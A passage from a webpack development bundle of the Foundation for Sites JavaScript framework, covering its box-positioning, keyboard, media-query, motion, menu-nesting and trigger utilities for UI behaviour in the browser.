bottom':\n return GetExplicitOffsets(element, anchor, 'bottom', 'left', vOffset, hOffset, isOverflow);\n\n case 'right bottom':\n return GetExplicitOffsets(element, anchor, 'bottom', 'right', vOffset, hOffset, isOverflow);\n // Backwards compatibility... this along with the reveal and reveal full\n // classes are the only ones that didn't reference anchor\n\n case 'center':\n return {\n left: $eleDims.windowDims.offset.left + $eleDims.windowDims.width / 2 - $eleDims.width / 2 + hOffset,\n top: $eleDims.windowDims.offset.top + $eleDims.windowDims.height / 2 - ($eleDims.height / 2 + vOffset)\n };\n\n case 'reveal':\n return {\n left: ($eleDims.windowDims.width - $eleDims.width) / 2 + hOffset,\n top: $eleDims.windowDims.offset.top + vOffset\n };\n\n case 'reveal full':\n return {\n left: $eleDims.windowDims.offset.left,\n top: $eleDims.windowDims.offset.top\n };\n break;\n\n default:\n return {\n left: Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__[\"rtl\"])() ? $anchorDims.offset.left - $eleDims.width + $anchorDims.width - hOffset : $anchorDims.offset.left + hOffset,\n top: $anchorDims.offset.top + $anchorDims.height + vOffset\n };\n }\n}\n\nfunction GetExplicitOffsets(element, anchor, position, alignment, vOffset, hOffset, isOverflow) {\n var $eleDims = GetDimensions(element),\n $anchorDims = anchor ? GetDimensions(anchor) : null;\n var topVal, leftVal; // set position related attribute\n\n switch (position) {\n case 'top':\n topVal = $anchorDims.offset.top - ($eleDims.height + vOffset);\n break;\n\n case 'bottom':\n topVal = $anchorDims.offset.top + $anchorDims.height + vOffset;\n break;\n\n case 'left':\n leftVal = $anchorDims.offset.left - ($eleDims.width + hOffset);\n break;\n\n case 'right':\n leftVal = $anchorDims.offset.left + $anchorDims.width + hOffset;\n break;\n } // set alignment related attribute\n\n\n switch (position) {\n case 'top':\n case 'bottom':\n switch (alignment) {\n case 'left':\n leftVal = $anchorDims.offset.left + hOffset;\n break;\n\n case 'right':\n leftVal = $anchorDims.offset.left - $eleDims.width + $anchorDims.width - hOffset;\n break;\n\n case 'center':\n leftVal = isOverflow ? hOffset : $anchorDims.offset.left + $anchorDims.width / 2 - $eleDims.width / 2 + hOffset;\n break;\n }\n\n break;\n\n case 'right':\n case 'left':\n switch (alignment) {\n case 'bottom':\n topVal = $anchorDims.offset.top - vOffset + $anchorDims.height - $eleDims.height;\n break;\n\n case 'top':\n topVal = $anchorDims.offset.top + vOffset;\n break;\n\n case 'center':\n topVal = $anchorDims.offset.top + vOffset + $anchorDims.height / 2 - $eleDims.height / 2;\n break;\n }\n\n break;\n }\n\n return {\n top: topVal,\n left: leftVal\n };\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.box.js?")},"./js/foundation.util.keyboard.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Keyboard\", function() { return Keyboard; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/*******************************************\n * *\n * This util was created by Marius Olbertz *\n * Please thank Marius on GitHub /owlbertz *\n * or the web http://www.mariusolbertz.de/ *\n * *\n ******************************************/\n\n\n\n\nvar keyCodes = {\n 9: 'TAB',\n 13: 'ENTER',\n 27: 'ESCAPE',\n 32: 'SPACE',\n 35: 'END',\n 36: 'HOME',\n 37: 'ARROW_LEFT',\n 38: 'ARROW_UP',\n 39: 'ARROW_RIGHT',\n 40: 'ARROW_DOWN'\n};\nvar commands = {}; // Functions pulled out to be referenceable from internals\n\nfunction findFocusable($element) {\n if (!$element) {\n return false;\n }\n\n return $element.find('a[href], area[href], input:not([disabled]), select:not([disabled]), textarea:not([disabled]), button:not([disabled]), iframe, object, embed, *[tabindex], *[contenteditable]').filter(function () {\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':visible') || jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).attr('tabindex') < 0) {\n return false;\n } //only have visible elements and those that have a tabindex greater or equal 0\n\n\n return true;\n });\n}\n\nfunction parseKey(event) {\n var key = keyCodes[event.which || event.keyCode] || String.fromCharCode(event.which).toUpperCase(); // Remove un-printable characters, e.g. for `fromCharCode` calls for CTRL only events\n\n key = key.replace(/\\W+/, '');\n if (event.shiftKey) key = \"SHIFT_\".concat(key);\n if (event.ctrlKey) key = \"CTRL_\".concat(key);\n if (event.altKey) key = \"ALT_\".concat(key); // Remove trailing underscore, in case only modifiers were used (e.g. only `CTRL_ALT`)\n\n key = key.replace(/_$/, '');\n return key;\n}\n\nvar Keyboard = {\n keys: getKeyCodes(keyCodes),\n\n /**\n * Parses the (keyboard) event and returns a String that represents its key\n * Can be used like Foundation.parseKey(event) === Foundation.keys.SPACE\n * @param {Event} event - the event generated by the event handler\n * @return String key - String that represents the key pressed\n */\n parseKey: parseKey,\n\n /**\n * Handles the given (keyboard) event\n * @param {Event} event - the event generated by the event handler\n * @param {String} component - Foundation component's name, e.g. Slider or Reveal\n * @param {Objects} functions - collection of functions that are to be executed\n */\n handleKey: function handleKey(event, component, functions) {\n var commandList = commands[component],\n keyCode = this.parseKey(event),\n cmds,\n command,\n fn;\n if (!commandList) return console.warn('Component not defined!');\n\n if (typeof commandList.ltr === 'undefined') {\n // this component does not differentiate between ltr and rtl\n cmds = commandList; // use plain list\n } else {\n // merge ltr and rtl: if document is rtl, rtl overwrites ltr and vice versa\n if (Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"rtl\"])()) cmds = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, commandList.ltr, commandList.rtl);else cmds = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, commandList.rtl, commandList.ltr);\n }\n\n command = cmds[keyCode];\n fn = functions[command];\n\n if (fn && typeof fn === 'function') {\n // execute function if exists\n var returnValue = fn.apply();\n\n if (functions.handled || typeof functions.handled === 'function') {\n // execute function when event was handled\n functions.handled(returnValue);\n }\n } else {\n if (functions.unhandled || typeof functions.unhandled === 'function') {\n // execute function when event was not handled\n functions.unhandled();\n }\n }\n },\n\n /**\n * Finds all focusable elements within the given `$element`\n * @param {jQuery} $element - jQuery object to search within\n * @return {jQuery} $focusable - all focusable elements within `$element`\n */\n findFocusable: findFocusable,\n\n /**\n * Returns the component name name\n * @param {Object} component - Foundation component, e.g. Slider or Reveal\n * @return String componentName\n */\n register: function register(componentName, cmds) {\n commands[componentName] = cmds;\n },\n // TODO9438: These references to Keyboard need to not require global. Will 'this' work in this context?\n //\n\n /**\n * Traps the focus in the given element.\n * @param {jQuery} $element jQuery object to trap the foucs into.\n */\n trapFocus: function trapFocus($element) {\n var $focusable = findFocusable($element),\n $firstFocusable = $focusable.eq(0),\n $lastFocusable = $focusable.eq(-1);\n $element.on('keydown.zf.trapfocus', function (event) {\n if (event.target === $lastFocusable[0] && parseKey(event) === 'TAB') {\n event.preventDefault();\n $firstFocusable.focus();\n } else if (event.target === $firstFocusable[0] && parseKey(event) === 'SHIFT_TAB') {\n event.preventDefault();\n $lastFocusable.focus();\n }\n });\n },\n\n /**\n * Releases the trapped focus from the given element.\n * @param {jQuery} $element jQuery object to release the focus for.\n */\n releaseFocus: function releaseFocus($element) {\n $element.off('keydown.zf.trapfocus');\n }\n};\n/*\n * Constants for easier comparing.\n * Can be used like Foundation.parseKey(event) === Foundation.keys.SPACE\n */\n\nfunction getKeyCodes(kcs) {\n var k = {};\n\n for (var kc in kcs) {\n k[kcs[kc]] = kcs[kc];\n }\n\n return k;\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.keyboard.js?")},"./js/foundation.util.mediaQuery.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"MediaQuery\", function() { return MediaQuery; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n // Default set of media queries\n\nvar defaultQueries = {\n 'default': 'only screen',\n landscape: 'only screen and (orientation: landscape)',\n portrait: 'only screen and (orientation: portrait)',\n retina: 'only screen and (-webkit-min-device-pixel-ratio: 2),' + 'only screen and (min--moz-device-pixel-ratio: 2),' + 'only screen and (-o-min-device-pixel-ratio: 2/1),' + 'only screen and (min-device-pixel-ratio: 2),' + 'only screen and (min-resolution: 192dpi),' + 'only screen and (min-resolution: 2dppx)'\n}; // matchMedia() polyfill - Test a CSS media type/query in JS.\n// Authors & copyright(c) 2012: Scott Jehl, Paul Irish, Nicholas Zakas, David Knight. MIT license\n\n/* eslint-disable */\n\nwindow.matchMedia || (window.matchMedia = function () {\n \"use strict\"; // For browsers that support matchMedium api such as IE 9 and webkit\n\n var styleMedia = window.styleMedia || window.media; // For those that don't support matchMedium\n\n if (!styleMedia) {\n var style = document.createElement('style'),\n script = document.getElementsByTagName('script')[0],\n info = null;\n style.type = 'text/css';\n style.id = 'matchmediajs-test';\n\n if (!script) {\n document.head.appendChild(style);\n } else {\n script.parentNode.insertBefore(style, script);\n } // 'style.currentStyle' is used by IE <= 8 and 'window.getComputedStyle' for all other browsers\n\n\n info = 'getComputedStyle' in window && window.getComputedStyle(style, null) || style.currentStyle;\n styleMedia = {\n matchMedium: function matchMedium(media) {\n var text = '@media ' + media + '{ #matchmediajs-test { width: 1px; } }'; // 'style.styleSheet' is used by IE <= 8 and 'style.textContent' for all other browsers\n\n if (style.styleSheet) {\n style.styleSheet.cssText = text;\n } else {\n style.textContent = text;\n } // Test if media query is true or false\n\n\n return info.width === '1px';\n }\n };\n }\n\n return function (media) {\n return {\n matches: styleMedia.matchMedium(media || 'all'),\n media: media || 'all'\n };\n };\n}());\n/* eslint-enable */\n\nvar MediaQuery = {\n queries: [],\n current: '',\n\n /**\n * Initializes the media query helper, by extracting the breakpoint list from the CSS and activating the breakpoint watcher.\n * @function\n * @private\n */\n _init: function _init() {\n var self = this;\n var $meta = jquery__WEBPACK_IMPORTED_MODULE_0___default()('meta.foundation-mq');\n\n if (!$meta.length) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('').appendTo(document.head);\n }\n\n var extractedStyles = jquery__WEBPACK_IMPORTED_MODULE_0___default()('.foundation-mq').css('font-family');\n var namedQueries;\n namedQueries = parseStyleToObject(extractedStyles);\n\n for (var key in namedQueries) {\n if (namedQueries.hasOwnProperty(key)) {\n self.queries.push({\n name: key,\n value: \"only screen and (min-width: \".concat(namedQueries[key], \")\")\n });\n }\n }\n\n this.current = this._getCurrentSize();\n\n this._watcher();\n },\n\n /**\n * Checks if the screen is at least as wide as a breakpoint.\n * @function\n * @param {String} size - Name of the breakpoint to check.\n * @returns {Boolean} `true` if the breakpoint matches, `false` if it's smaller.\n */\n atLeast: function atLeast(size) {\n var query = this.get(size);\n\n if (query) {\n return window.matchMedia(query).matches;\n }\n\n return false;\n },\n\n /**\n * Checks if the screen matches to a breakpoint.\n * @function\n * @param {String} size - Name of the breakpoint to check, either 'small only' or 'small'. Omitting 'only' falls back to using atLeast() method.\n * @returns {Boolean} `true` if the breakpoint matches, `false` if it does not.\n */\n is: function is(size) {\n size = size.trim().split(' ');\n\n if (size.length > 1 && size[1] === 'only') {\n if (size[0] === this._getCurrentSize()) return true;\n } else {\n return this.atLeast(size[0]);\n }\n\n return false;\n },\n\n /**\n * Gets the media query of a breakpoint.\n * @function\n * @param {String} size - Name of the breakpoint to get.\n * @returns {String|null} - The media query of the breakpoint, or `null` if the breakpoint doesn't exist.\n */\n get: function get(size) {\n for (var i in this.queries) {\n if (this.queries.hasOwnProperty(i)) {\n var query = this.queries[i];\n if (size === query.name) return query.value;\n }\n }\n\n return null;\n },\n\n /**\n * Gets the current breakpoint name by testing every breakpoint and returning the last one to match (the biggest one).\n * @function\n * @private\n * @returns {String} Name of the current breakpoint.\n */\n _getCurrentSize: function _getCurrentSize() {\n var matched;\n\n for (var i = 0; i < this.queries.length; i++) {\n var query = this.queries[i];\n\n if (window.matchMedia(query.value).matches) {\n matched = query;\n }\n }\n\n if (_typeof(matched) === 'object') {\n return matched.name;\n } else {\n return matched;\n }\n },\n\n /**\n * Activates the breakpoint watcher, which fires an event on the window whenever the breakpoint changes.\n * @function\n * @private\n */\n _watcher: function _watcher() {\n var _this = this;\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off('resize.zf.mediaquery').on('resize.zf.mediaquery', function () {\n var newSize = _this._getCurrentSize(),\n currentSize = _this.current;\n\n if (newSize !== currentSize) {\n // Change the current media query\n _this.current = newSize; // Broadcast the media query change on the window\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).trigger('changed.zf.mediaquery', [newSize, currentSize]);\n }\n });\n }\n}; // Thank you: https://github.com/sindresorhus/query-string\n\nfunction parseStyleToObject(str) {\n var styleObject = {};\n\n if (typeof str !== 'string') {\n return styleObject;\n }\n\n str = str.trim().slice(1, -1); // browsers re-quote string style values\n\n if (!str) {\n return styleObject;\n }\n\n styleObject = str.split('&').reduce(function (ret, param) {\n var parts = param.replace(/\\+/g, ' ').split('=');\n var key = parts[0];\n var val = parts[1];\n key = decodeURIComponent(key); // missing `=` should be `null`:\n // http://w3.org/TR/2012/WD-url-20120524/#collect-url-parameters\n\n val = typeof val === 'undefined' ? null : decodeURIComponent(val);\n\n if (!ret.hasOwnProperty(key)) {\n ret[key] = val;\n } else if (Array.isArray(ret[key])) {\n ret[key].push(val);\n } else {\n ret[key] = [ret[key], val];\n }\n\n return ret;\n }, {});\n return styleObject;\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.mediaQuery.js?")},"./js/foundation.util.motion.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Move\", function() { return Move; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Motion\", function() { return Motion; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n\n\n\n\n/**\n * Motion module.\n * @module foundation.motion\n */\n\nvar initClasses = ['mui-enter', 'mui-leave'];\nvar activeClasses = ['mui-enter-active', 'mui-leave-active'];\nvar Motion = {\n animateIn: function animateIn(element, animation, cb) {\n animate(true, element, animation, cb);\n },\n animateOut: function animateOut(element, animation, cb) {\n animate(false, element, animation, cb);\n }\n};\n\nfunction Move(duration, elem, fn) {\n var anim,\n prog,\n start = null; // console.log('called');\n\n if (duration === 0) {\n fn.apply(elem);\n elem.trigger('finished.zf.animate', [elem]).triggerHandler('finished.zf.animate', [elem]);\n return;\n }\n\n function move(ts) {\n if (!start) start = ts; // console.log(start, ts);\n\n prog = ts - start;\n fn.apply(elem);\n\n if (prog < duration) {\n anim = window.requestAnimationFrame(move, elem);\n } else {\n window.cancelAnimationFrame(anim);\n elem.trigger('finished.zf.animate', [elem]).triggerHandler('finished.zf.animate', [elem]);\n }\n }\n\n anim = window.requestAnimationFrame(move);\n}\n/**\n * Animates an element in or out using a CSS transition class.\n * @function\n * @private\n * @param {Boolean} isIn - Defines if the animation is in or out.\n * @param {Object} element - jQuery or HTML object to animate.\n * @param {String} animation - CSS class to use.\n * @param {Function} cb - Callback to run when animation is finished.\n */\n\n\nfunction animate(isIn, element, animation, cb) {\n element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element).eq(0);\n if (!element.length) return;\n var initClass = isIn ? initClasses[0] : initClasses[1];\n var activeClass = isIn ? activeClasses[0] : activeClasses[1]; // Set up the animation\n\n reset();\n element.addClass(animation).css('transition', 'none');\n requestAnimationFrame(function () {\n element.addClass(initClass);\n if (isIn) element.show();\n }); // Start the animation\n\n requestAnimationFrame(function () {\n element[0].offsetWidth;\n element.css('transition', '').addClass(activeClass);\n }); // Clean up the animation when it finishes\n\n element.one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"transitionend\"])(element), finish); // Hides the element (for out animations), resets the element, and runs a callback\n\n function finish() {\n if (!isIn) element.hide();\n reset();\n if (cb) cb.apply(element);\n } // Resets transitions and removes motion-specific classes\n\n\n function reset() {\n element[0].style.transitionDuration = 0;\n element.removeClass(\"\".concat(initClass, \" \").concat(activeClass, \" \").concat(animation));\n }\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.motion.js?")},"./js/foundation.util.nest.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Nest\", function() { return Nest; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\n\nvar Nest = {\n Feather: function Feather(menu) {\n var type = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'zf';\n menu.attr('role', 'menubar');\n var items = menu.find('li').attr({\n 'role': 'menuitem'\n }),\n subMenuClass = \"is-\".concat(type, \"-submenu\"),\n subItemClass = \"\".concat(subMenuClass, \"-item\"),\n hasSubClass = \"is-\".concat(type, \"-submenu-parent\"),\n applyAria = type !== 'accordion'; // Accordions handle their own ARIA attriutes.\n\n items.each(function () {\n var $item = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $sub = $item.children('ul');\n\n if ($sub.length) {\n $item.addClass(hasSubClass);\n $sub.addClass(\"submenu \".concat(subMenuClass)).attr({\n 'data-submenu': ''\n });\n\n if (applyAria) {\n $item.attr({\n 'aria-haspopup': true,\n 'aria-label': $item.children('a:first').text()\n }); // Note: Drilldowns behave differently in how they hide, and so need\n // additional attributes. We should look if this possibly over-generalized\n // utility (Nest) is appropriate when we rework menus in 6.4\n\n if (type === 'drilldown') {\n $item.attr({\n 'aria-expanded': false\n });\n }\n }\n\n $sub.addClass(\"submenu \".concat(subMenuClass)).attr({\n 'data-submenu': '',\n 'role': 'menubar'\n });\n\n if (type === 'drilldown') {\n $sub.attr({\n 'aria-hidden': true\n });\n }\n }\n\n if ($item.parent('[data-submenu]').length) {\n $item.addClass(\"is-submenu-item \".concat(subItemClass));\n }\n });\n return;\n },\n Burn: function Burn(menu, type) {\n var //items = menu.find('li'),\n subMenuClass = \"is-\".concat(type, \"-submenu\"),\n subItemClass = \"\".concat(subMenuClass, \"-item\"),\n hasSubClass = \"is-\".concat(type, \"-submenu-parent\");\n menu.find('>li, > li > ul, .menu, .menu > li, [data-submenu] > li').removeClass(\"\".concat(subMenuClass, \" \").concat(subItemClass, \" \").concat(hasSubClass, \" is-submenu-item submenu is-active\")).removeAttr('data-submenu').css('display', '');\n }\n};\n\n\n//# sourceURL=webpack:///./js/foundation.util.nest.js?")},"./js/foundation.util.triggers.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Triggers\", function() { return Triggers; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.motion */ \"./js/foundation.util.motion.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n\n\n\n\nvar MutationObserver = function () {\n var prefixes = ['WebKit', 'Moz', 'O', 'Ms', ''];\n\n for (var i = 0; i < prefixes.length; i++) {\n if (\"\".concat(prefixes[i], \"MutationObserver\") in window) {\n return window[\"\".concat(prefixes[i], \"MutationObserver\")];\n }\n }\n\n return false;\n}();\n\nvar triggers = function triggers(el, type) {\n el.data(type).split(' ').forEach(function (id) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(id))[type === 'close' ? 'trigger' : 'triggerHandler'](\"\".concat(type, \".zf.trigger\"), [el]);\n });\n};\n\nvar Triggers = {\n Listeners: {\n Basic: {},\n Global: {}\n },\n Initializers: {}\n};\nTriggers.Listeners.Basic = {\n openListener: function openListener() {\n triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'open');\n },\n closeListener: function closeListener() {\n var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('close');\n\n if (id) {\n triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'close');\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('close.zf.trigger');\n }\n },\n toggleListener: function toggleListener() {\n var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('toggle');\n\n if (id) {\n triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'toggle');\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('toggle.zf.trigger');\n }\n },\n closeableListener: function closeableListener(e) {\n e.stopPropagation();\n var animation = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('closable');\n\n if (animation !== '') {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__[\"Motion\"].animateOut(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), animation, function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('closed.zf');\n });\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).fadeOut().trigger('closed.zf');\n }\n },\n toggleFocusListener: function toggleFocusListener() {\n var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('toggle-focus');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(id)).triggerHandler('toggle.zf.trigger', [jquery__WEBPACK_IMPORTED_MODULE_0___default()(this)]);\n }\n}; // Elements with [data-open] will reveal a plugin that supports it when clicked.\n\nTriggers.Initializers.addOpenListener = function ($elem) {\n $elem.off('click.zf.trigger', Triggers.Listeners.Basic.openListener);\n $elem.on('click.zf.trigger', '[data-open]', Triggers.Listeners.Basic.openListener);\n}; // Elements with [data-close] will close a plugin that supports it when clicked.\n// If used without a value on [data-close], the event will bubble, allowing it to close a parent component.\n\n\nTriggers.Initializers.addCloseListener = function ($elem) {\n $elem.off('click.zf.trigger', Triggers.Listeners.Basic.closeListener);\n $elem.on('click.zf.trigger', '[data-close]', Triggers.Listeners.Basic.closeListener);\n}; // Elements with [data-toggle] will toggle a plugin that supports it when clicked.\n\n\nTriggers.Initializers.addToggleListener = function ($elem) {\n $elem.off('click.zf.trigger', Triggers.Listeners.Basic.toggleListener);\n $elem.on('click.zf.trigger', '[data-toggle]', Triggers.Listeners.Basic.toggleListener);\n}; // Elements with [data-closable] will respond to close.zf.trigger events.\n\n\nTriggers.Initializers.addCloseableListener = function ($elem) {\n $elem.off('close.zf.trigger', Triggers.Listeners.Basic.closeableListener);\n $elem.on('close.zf.trigger', '[data-closeable], [data-closable]', Triggers.Listeners.Basic.closeableListener);\n}; // Elements with [data-toggle-focus] will respond to coming in and out of focus\n\n\nTriggers.Initializers.addToggleFocusListener = function ($elem) {\n $elem.off('focus.zf.trigger blur.zf.trigger', Triggers.Listeners.Basic.toggleFocusListener);\n $elem.on('focus.zf.trigger blur.zf.trigger', '[data-toggle-focus]', Triggers.Listeners.Basic.toggleFocusListener);\n}; // More Global/complex listeners and triggers\n\n\nTriggers.Listeners.Global = {\n resizeListener: function resizeListener($nodes) {\n if (!MutationObserver) {\n //fallback for IE 9\n $nodes.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).triggerHandler('resizeme.zf.trigger');\n });\n } //trigger all listening elements and signal a resize event\n\n\n $nodes.attr('data-events', \"resize\");\n },\n scrollListener: function scrollListener($nodes) {\n if (!MutationObserver) {\n //fallback for IE 9\n $nodes.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).triggerHandler('scrollme.zf.trigger');\n });\n } //trigger all listening elements and signal a scroll event\n\n\n $nodes.attr('data-events', \"scroll\");\n },\n closeMeListener: function closeMeListener(e, pluginId) {\n var plugin = e.namespace.split('.')[0];\n var plugins = jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-\".concat(plugin, \"]\")).not(\"[data-yeti-box=\\\"\".concat(pluginId, \"\\\"]\"));\n plugins.each(function () {\n var _this = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n\n _this.triggerHandler('close.zf.trigger', [_this]);\n });\n } // Global, parses whole document.\n\n};\n\nTriggers.Initializers.addClosemeListener = function (pluginName) {\n var yetiBoxes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-yeti-box]'),\n plugNames = ['dropdown', 'tooltip', 'reveal'];\n\n if (pluginName) {\n if (typeof pluginName === 'string') {\n plugNames.push(pluginName);\n } else if (_typeof(pluginName) === 'object' && typeof pluginName[0] === 'string') {\n plugNames.concat(pluginName);\n } else {\n console.error('Plugin names must be strings');\n }\n }\n\n if (yetiBoxes.length) {\n var listeners = plugNames.map(function (name) {\n return \"closeme.zf.\".concat(name);\n }).join(' ');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(listeners).on(listeners, Triggers.Listeners.Global.closeMeListener);\n }\n};\n\nfunction debounceGlobalListener(debounce, trigger, listener) {\n var timer,\n args = Array.prototype.slice.call(arguments, 3);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(trigger).on(trigger, function (e) {\n if (timer) {\n clearTimeout(timer);\n }\n\n timer = setTimeout(function () {\n listener.apply(null, args);\n }, debounce || 10); //default time to emit scroll event\n });\n}\n\nTriggers.Initializers.addResizeListener = function (debounce) {\n var $nodes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-resize]');\n\n if ($nodes.length) {\n debounceGlobalListener(debounce, 'resize.zf.trigger', Triggers.Listeners.Global.resizeListener, $nodes);\n }\n};\n\nTriggers.Initializers.addScrollListener = function (debounce) {\n var $nodes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-scroll]');\n\n if ($nodes.length) {\n debounceGlobalListener(debounce, 'scroll.zf.trigger', Triggers.Listeners.Global.scrollListener, $nodes);\n }\n};\n\nTriggers.Initializers.addMutationEventsListener = function ($elem) {\n if (!MutationObserver) {\n return false;\n }\n\n var $nodes = $elem.find('[data-resize], [data-scroll], [data-mutate]'); //element callback\n\n var listeningElementsMutation = function listeningElementsMutation(mutationRecordsList) {\n var $target = jquery__WEBPACK_IMPORTED_MODULE_0___default()(mutationRecordsList[0].target); //trigger the event handler for the element depending on type\n\n switch (mutationRecordsList[0].type) {\n case \"attributes\":\n if ($target.attr(\"data-events\") === \"scroll\" && mutationRecordsList[0].attributeName === \"data-events\") {\n $target.triggerHandler('scrollme.zf.trigger', [$target, window.pageYOffset]);\n }\n\n if ($target.attr(\"data-events\") === \"resize\" && mutationRecordsList[0].attributeName === \"data-events\") {\n $target.triggerHandler('resizeme.zf.trigger', [$target]);\n }\n\n if (mutationRecordsList[0].attributeName === \"style\") {\n $target.closest(\"[data-mutate]\").attr(\"data-events\", \"mutate\");\n $target.closest(\"[data-mutate]\").triggerHandler('mutateme.zf.trigger', [$target.closest(\"[data-mutate]\")]);\n }\n\n break;\n\n case \"childList\":\n $target.closest(\"[data-mutate]\").attr(\"data-events\", \"mutate\");\n $target.closest(\"[data-mutate]\").triggerHandler('mutateme.zf.trigger', [$target.closest(\"[data-mutate]\")]);\n break;\n\n default:\n return false;\n //nothing\n }\n };\n\n if ($nodes.length) {\n //for each element that needs to listen for resizing, scrolling, or mutation add a single observer\n for (var i = 0; i <= $nodes.length - 1; i++) {\n var elementObserver = new MutationObserver(listeningElementsMutation);\n elementObserver.observe($nodes[i], {\n attributes: true,\n childList: true,\n characterData: false,\n subtree: true,\n attributeFilter: [\"data-events\", \"style\"]\n });\n }\n }\n};\n\nTriggers.Initializers.addSimpleListeners = function () {\n var $document = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document);\n 